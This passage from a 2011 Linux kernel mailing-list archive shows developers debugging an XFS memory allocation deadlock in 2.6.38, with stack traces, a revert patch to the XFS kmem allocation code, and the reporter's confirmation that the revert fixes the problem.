id p2TJeH7Z245792 for ; Tue, 29 Mar 2011 14:40:17 -0500 X-ASG-Debug-ID: 1301427807-698503c80000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 51B91115C73E for ; Tue, 29 Mar 2011 12:43:27 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id xRGoBlNkU3ffRgAy for ; Tue, 29 Mar 2011 12:43:27 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4ep2-0007Gu-25; Tue, 29 Mar 2011 19:43:24 +0000 Date: Tue, 29 Mar 2011 15:43:24 -0400 From: "'Christoph Hellwig'" To: Johannes Weiner Cc: "'Christoph Hellwig'" , Sean Noonan , "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110329194323.GA27840@infradead.org> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <20110329193907.GK2310@cmpxchg.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110329193907.GK2310@cmpxchg.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301427808 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 09:39:07PM +0200, Johannes Weiner wrote: > > - ptr = vmalloc(size); > > + ptr = __vmalloc(size, GFP_NOFS | __GFP_HIGHMEM, PAGE_KERNEL); > > if (ptr) > > memset(ptr, 0, size); > > return ptr; > > Note that vmalloc is currently broken in that it does a GFP_KERNEL > allocation if it has to allocate page table pages, even when invoked > with GFP_NOFS: > > http://marc.info/?l=linux-mm&m=128942194520631&w=4 Oh great. In that case we had a chance to hit the deadlock even before the offending commit, just a much smaller one. From Sean.Noonan@twosigma.com Tue Mar 29 14:44:58 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2TJivWq246145 for ; Tue, 29 Mar 2011 14:44:58 -0500 X-ASG-Debug-ID: 1301428088-56f600dd0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 774C638A90B for ; Tue, 29 Mar 2011 12:48:08 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with SMTP id A3DTIxNi06YfcJGe for ; Tue, 29 Mar 2011 12:48:08 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id C2ECA3DDA49; Tue, 29 Mar 2011 19:48:07 +0000 (UTC) Received: from msxaoa10.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id 77EBD3DDA7D; Tue, 29 Mar 2011 19:47:32 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80::5d02:8f37:f2d4:e384]) by msxaoa10.twosigma.com ([fe80::1481:fcc5:92c8:8f13%10]) with mapi; Tue, 29 Mar 2011 15:46:22 -0400 From: Sean Noonan To: "'Christoph Hellwig'" CC: "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" Date: Tue, 29 Mar 2011 15:46:21 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: AcvuRvK4VBD+qD8KS0ORKuK3roIztQAAvWNg Message-ID: <081DDE43F61F3D43929A181B477DCA95639B535C@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> In-Reply-To: <20110329192434.GA10536@infradead.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1301428088 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59337 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Can you check if the brute force patch below helps? No such luck. From Sean.Noonan@twosigma.com Tue Mar 29 14:54:29 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2TJsTIi246605 for ; Tue, 29 Mar 2011 14:54:29 -0500 X-ASG-Debug-ID: 1301428659-190f02a40000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 977C11444D54 for ; Tue, 29 Mar 2011 12:57:39 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with SMTP id qNmEQfXGUFKfF8lg for ; Tue, 29 Mar 2011 12:57:39 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id 0B62B3DDA59; Tue, 29 Mar 2011 19:57:39 +0000 (UTC) Received: from MSXAOA8.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id 76CD53DDA4D; Tue, 29 Mar 2011 19:57:02 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80::5d02:8f37:f2d4:e384]) by MSXAOA8.twosigma.com ([fe80::992c:996d:964b:ed2c%10]) with mapi; Tue, 29 Mar 2011 15:54:13 -0400 From: Sean Noonan To: "'Christoph Hellwig'" CC: "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" Date: Tue, 29 Mar 2011 15:54:12 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: AcvuRvK4VBD+qD8KS0ORKuK3roIztQAA7saA Message-ID: <081DDE43F61F3D43929A181B477DCA95639B535D@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> In-Reply-To: <20110329192434.GA10536@infradead.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1301428659 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59339 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Can you check if the brute force patch below helps? =20 Not sure if this helps at all, but here is the stack from all three process= es involved. This is without MAP_POPULATE and with the patch you just sent= . # ps aux | grep 'D[+]*[[:space:]]' USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 2314 0.2 0.0 0 0 ? D 19:44 0:00 [flush-8:0= ] root 2402 0.0 0.0 0 0 ? D 19:44 0:00 [xfssyncd/= sda9] root 3861 2.6 9.9 16785280 4912848 pts/0 D+ 19:45 0:07 ./vmtest /= xfs/hugefile.dat 17179869184 # for p in 2314 2402 3861; do echo $p; cat /proc/$p/stack; done 2314 [] congestion_wait+0x7a/0x130 [] kmem_alloc+0x6c/0xf0 [] xfs_inode_item_format+0x36e/0x3b0 [] xfs_log_commit_cil+0x4f/0x3b0 [] _xfs_trans_commit+0x1f1/0x2b0 [] xfs_iomap_write_allocate+0x1a6/0x340 [] xfs_map_blocks+0x193/0x2c0 [] xfs_vm_writepage+0x1ca/0x520 [] __writepage+0x12/0x40 [] write_cache_pages+0x1dd/0x4f0 [] generic_writepages+0x4c/0x70 [] xfs_vm_writepages+0x58/0x70 [] do_writepages+0x1c/0x40 [] writeback_single_inode+0xf1/0x240 [] writeback_sb_inodes+0xdd/0x1b0 [] writeback_inodes_wb+0x76/0x160 [] wb_writeback+0x343/0x550 [] wb_do_writeback+0x186/0x2e0 [] bdi_writeback_thread+0xc2/0x310 [] kthread+0x96/0xa0 [] kernel_thread_helper+0x4/0x10 [] 0xffffffffffffffff 2402 [] down+0x3c/0x50 [] xfs_buf_lock+0x5d/0x170 [] xfs_getsb+0x1d/0x50 [] xfs_trans_getsb+0x5f/0x150 [] xfs_mod_sb+0x4e/0xe0 [] xfs_fs_log_dummy+0x4f/0x90 [] xfs_sync_worker+0x81/0x90 [] xfssyncd+0x172/0x220 [] kthread+0x96/0xa0 [] kernel_thread_helper+0x4/0x10 [] 0xffffffffffffffff 3861 [] call_rwsem_down_read_failed+0x14/0x30 [] xfs_ilock+0x9d/0x110 [] xfs_ilock_map_shared+0x1e/0x50 [] __xfs_get_blocks+0xc5/0x4e0 [] xfs_get_blocks+0xc/0x10 [] do_mpage_readpage+0x462/0x660 [] mpage_readpage+0x4a/0x60 [] xfs_vm_readpage+0x13/0x20 [] filemap_fault+0x2d0/0x4e0 [] __do_fault+0x50/0x4f0 [] handle_pte_fault+0x7e/0xc90 [] handle_mm_fault+0x138/0x230 [] do_page_fault+0x12c/0x420 [] page_fault+0x1f/0x30 [] 0xffffffffffffffff From BATV+0028ef705de7e80be833+2774+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 29 14:59:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_63, J_CHICKENPOX_74,LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TJxmQu246920 for ; Tue, 29 Mar 2011 14:59:48 -0500 X-ASG-Debug-ID: 1301428978-7242037a0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 18227115C7A0 for ; Tue, 29 Mar 2011 13:02:58 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id H8kQD1OHKkhOl0el for ; Tue, 29 Mar 2011 13:02:58 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4f7w-0004X1-It; Tue, 29 Mar 2011 20:02:56 +0000 Date: Tue, 29 Mar 2011 16:02:56 -0400 From: "'Christoph Hellwig'" To: Sean Noonan Cc: "'Christoph Hellwig'" , "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110329200256.GA6019@infradead.org> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535C@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B535C@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301428979 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 03:46:21PM -0400, Sean Noonan wrote: > > Can you check if the brute force patch below helps? > > No such luck. Actually thinking about it - we never do the vmalloc under any fs lock, so this can't be the reason. But nothing else in the patch spring to mind either, so to narrow this down does reverting the patch on 2.6.38 also fix it? The revert isn't quite trivial due to changes since then, so here's the patch I came up with: Index: xfs/fs/xfs/linux-2.6/kmem.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/kmem.c 2011-03-29 21:55:12.871726512 +0200 +++ xfs/fs/xfs/linux-2.6/kmem.c 2011-03-29 21:55:31.648723706 +0200 @@ -16,6 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include +#include #include #include #include @@ -25,25 +26,8 @@ #include "kmem.h" #include "xfs_message.h" -/* - * Greedy allocation. May fail and may return vmalloced memory. - * - * Must be freed using kmem_free_large. - */ -void * -kmem_zalloc_greedy(size_t *size, size_t minsize, size_t maxsize) -{ - void *ptr; - size_t kmsize = maxsize; - - while (!(ptr = kmem_zalloc_large(kmsize))) { - if ((kmsize >>= 1) <= minsize) - kmsize = minsize; - } - if (ptr) - *size = kmsize; - return ptr; -} +#define MAX_VMALLOCS 6 +#define MAX_SLAB_SIZE 0x20000 void * kmem_alloc(size_t size, unsigned int __nocast flags) @@ -52,8 +36,19 @@ kmem_alloc(size_t size, unsigned int __n gfp_t lflags = kmem_flags_convert(flags); void *ptr; +#ifdef DEBUG + if (unlikely(!(flags & KM_LARGE) && (size > PAGE_SIZE))) { + printk(KERN_WARNING "Large %s attempt, size=%ld\n", + __func__, (long)size); + dump_stack(); + } +#endif + do { - ptr = kmalloc(size, lflags); + if (size < MAX_SLAB_SIZE || retries > MAX_VMALLOCS) + ptr = kmalloc(size, lflags); + else + ptr = __vmalloc(size, lflags, PAGE_KERNEL); if (ptr || (flags & (KM_MAYFAIL|KM_NOSLEEP))) return ptr; if (!(++retries % 100)) @@ -75,6 +70,27 @@ kmem_zalloc(size_t size, unsigned int __ return ptr; } +void * +kmem_zalloc_greedy(size_t *size, size_t minsize, size_t maxsize, + unsigned int __nocast flags) +{ + void *ptr; + size_t kmsize = maxsize; + unsigned int kmflags = (flags & ~KM_SLEEP) | KM_NOSLEEP; + + while (!(ptr = kmem_zalloc(kmsize, kmflags))) { + if ((kmsize <= minsize) && (flags & KM_NOSLEEP)) + break; + if ((kmsize >>= 1) <= minsize) { + kmsize = minsize; + kmflags = flags; + } + } + if (ptr) + *size = kmsize; + return ptr; +} + void kmem_free(const void *ptr) { Index: xfs/fs/xfs/linux-2.6/kmem.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/kmem.h 2011-03-29 21:55:12.879725146 +0200 +++ xfs/fs/xfs/linux-2.6/kmem.h 2011-03-29 21:55:31.652725467 +0200 @@ -21,7 +21,6 @@ #include #include #include -#include /* * General memory allocation interfaces @@ -31,6 +30,7 @@ #define KM_NOSLEEP 0x0002u #define KM_NOFS 0x0004u #define KM_MAYFAIL 0x0008u +#define KM_LARGE 0x0010u /* * We use a special process flag to avoid recursive callbacks into @@ -42,7 +42,7 @@ kmem_flags_convert(unsigned int __nocast { gfp_t lflags; - BUG_ON(flags & ~(KM_SLEEP|KM_NOSLEEP|KM_NOFS|KM_MAYFAIL)); + BUG_ON(flags & ~(KM_SLEEP|KM_NOSLEEP|KM_NOFS|KM_MAYFAIL|KM_LARGE)); if (flags & KM_NOSLEEP) { lflags = GFP_ATOMIC | __GFP_NOWARN; @@ -56,25 +56,10 @@ kmem_flags_convert(unsigned int __nocast extern void *kmem_alloc(size_t, unsigned int __nocast); extern void *kmem_zalloc(size_t, unsigned int __nocast); +extern void *kmem_zalloc_greedy(size_t *, size_t, size_t, unsigned int __nocast); extern void *kmem_realloc(const void *, size_t, size_t, unsigned int __nocast); extern void kmem_free(const void *); -static inline void *kmem_zalloc_large(size_t size) -{ - void *ptr; - - ptr = vmalloc(size); - if (ptr) - memset(ptr, 0, size); - return ptr; -} -static inline void kmem_free_large(void *ptr) -{ - vfree(ptr); -} - -extern void *kmem_zalloc_greedy(size_t *, size_t, size_t); - /* * Zone interfaces */ Index: xfs/fs/xfs/quota/xfs_qm.c =================================================================== --- xfs.orig/fs/xfs/quota/xfs_qm.c 2011-03-29 21:55:12.859726589 +0200 +++ xfs/fs/xfs/quota/xfs_qm.c 2011-03-29 21:55:41.387278609 +0200 @@ -110,11 +110,12 @@ xfs_Gqm_init(void) */ udqhash = kmem_zalloc_greedy(&hsize, XFS_QM_HASHSIZE_LOW * sizeof(xfs_dqhash_t), - XFS_QM_HASHSIZE_HIGH * sizeof(xfs_dqhash_t)); + XFS_QM_HASHSIZE_HIGH * sizeof(xfs_dqhash_t), + KM_SLEEP | KM_MAYFAIL | KM_LARGE); if (!udqhash) goto out; - gdqhash = kmem_zalloc_large(hsize); + gdqhash = kmem_zalloc(hsize, KM_SLEEP | KM_LARGE); if (!gdqhash) goto out_free_udqhash; @@ -171,7 +172,7 @@ xfs_Gqm_init(void) return xqm; out_free_udqhash: - kmem_free_large(udqhash); + kmem_free(udqhash); out: return NULL; } @@ -194,8 +195,8 @@ xfs_qm_destroy( xfs_qm_list_destroy(&(xqm->qm_usr_dqhtable[i])); xfs_qm_list_destroy(&(xqm->qm_grp_dqhtable[i])); } - kmem_free_large(xqm->qm_usr_dqhtable); - kmem_free_large(xqm->qm_grp_dqhtable); + kmem_free(xqm->qm_usr_dqhtable); + kmem_free(xqm->qm_grp_dqhtable); xqm->qm_usr_dqhtable = NULL; xqm->qm_grp_dqhtable = NULL; xqm->qm_dqhashmask = 0; Index: xfs/fs/xfs/xfs_itable.c =================================================================== --- xfs.orig/fs/xfs/xfs_itable.c 2011-03-29 21:55:12.851725366 +0200 +++ xfs/fs/xfs/xfs_itable.c 2011-03-29 21:55:31.660724287 +0200 @@ -259,10 +259,8 @@ xfs_bulkstat( (XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog); nimask = ~(nicluster - 1); nbcluster = nicluster >> mp->m_sb.sb_inopblog; - irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); - if (!irbuf) - return ENOMEM; - + irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4, + KM_SLEEP | KM_MAYFAIL | KM_LARGE); nirbuf = irbsize / sizeof(*irbuf); /* @@ -527,7 +525,7 @@ xfs_bulkstat( /* * Done, we're either out of filesystem or space to put the data. */ - kmem_free_large(irbuf); + kmem_free(irbuf); *ubcountp = ubelem; /* * Found some inodes, return them now and return the error next time. From Sean.Noonan@twosigma.com Tue Mar 29 15:19:55 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2TKJtqS248100 for ; Tue, 29 Mar 2011 15:19:55 -0500 X-ASG-Debug-ID: 1301430185-522402020000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx3.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id BE0EB38A779 for ; Tue, 29 Mar 2011 13:23:05 -0700 (PDT) Received: from mx3.twosigma.com (mx3.twosigma.com [208.77.213.34]) by cuda.sgi.com with SMTP id LT3jOIPsoURDAJrD for ; Tue, 29 Mar 2011 13:23:05 -0700 (PDT) Received: by mx3.twosigma.com (Postfix, from userid 108) id EB59B666C2; Tue, 29 Mar 2011 20:23:04 +0000 (UTC) Received: from msxaoa3.twosigma.com (nfw1-1-dmz.twosigma.com [208.77.213.62]) by mx3.twosigma.com (Postfix) with ESMTP id 8F0F5666BE; Tue, 29 Mar 2011 20:23:04 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80:0000:0000:0000:5d02:8f37:242.212.227.132]) by msxaoa3.twosigma.com ([192.168.200.135]) with mapi; Tue, 29 Mar 2011 16:23:04 -0400 From: Sean Noonan To: "'Christoph Hellwig'" CC: "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" Date: Tue, 29 Mar 2011 16:23:03 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: AcvuTFfY9wPeIe+4SRyshHnJafIpsQAAqwdg Message-ID: <081DDE43F61F3D43929A181B477DCA95639B535E@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535C@MSXAOA6.twosigma.com> <20110329200256.GA6019@infradead.org> In-Reply-To: <20110329200256.GA6019@infradead.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx3.twosigma.com[208.77.213.34] X-Barracuda-Start-Time: 1301430185 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0004 1.0000 -2.0187 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.78 X-Barracuda-Spam-Status: No, SCORE=-1.78 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59341 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > mind either, so to narrow this down does reverting the patch on > 2.6.38 also fix it? The revert isn't quite trivial due to changes > since then, so here's the patch I came up with: This patch does fix the problem. From david@fromorbit.com Tue Mar 29 17:39:27 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TMdQP7254199 for ; Tue, 29 Mar 2011 17:39:27 -0500 X-ASG-Debug-ID: 1301438554-0e3a01a30000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7D6C115A7FB5 for ; Tue, 29 Mar 2011 15:42:34 -0700 (PDT) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id R2HpF2FMMVQnN5YL for ; Tue, 29 Mar 2011 15:42:34 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkkGAIFdkk15LK5JTmdsb2JhbAClUAsBASADIyWIebNoDYJzgmoE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 30 Mar 2011 09:12:32 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q4hcM-0004sr-Uo; Wed, 30 Mar 2011 09:42:30 +1100 Date: Wed, 30 Mar 2011 09:42:30 +1100 From: Dave Chinner To: "'Christoph Hellwig'" Cc: Sean Noonan , Trammell Hudson , Christos Zoulas , Martin Bligh , "'linux-kernel@vger.kernel.org'" , Stephen Degler , "'linux-mm@kvack.org'" , "'linux-xfs@oss.sgi.com'" , "'Michel Lespinasse'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110329224230.GH3008@dastard> References: <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535C@MSXAOA6.twosigma.com> <20110329200256.GA6019@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110329200256.GA6019@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1301438556 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by 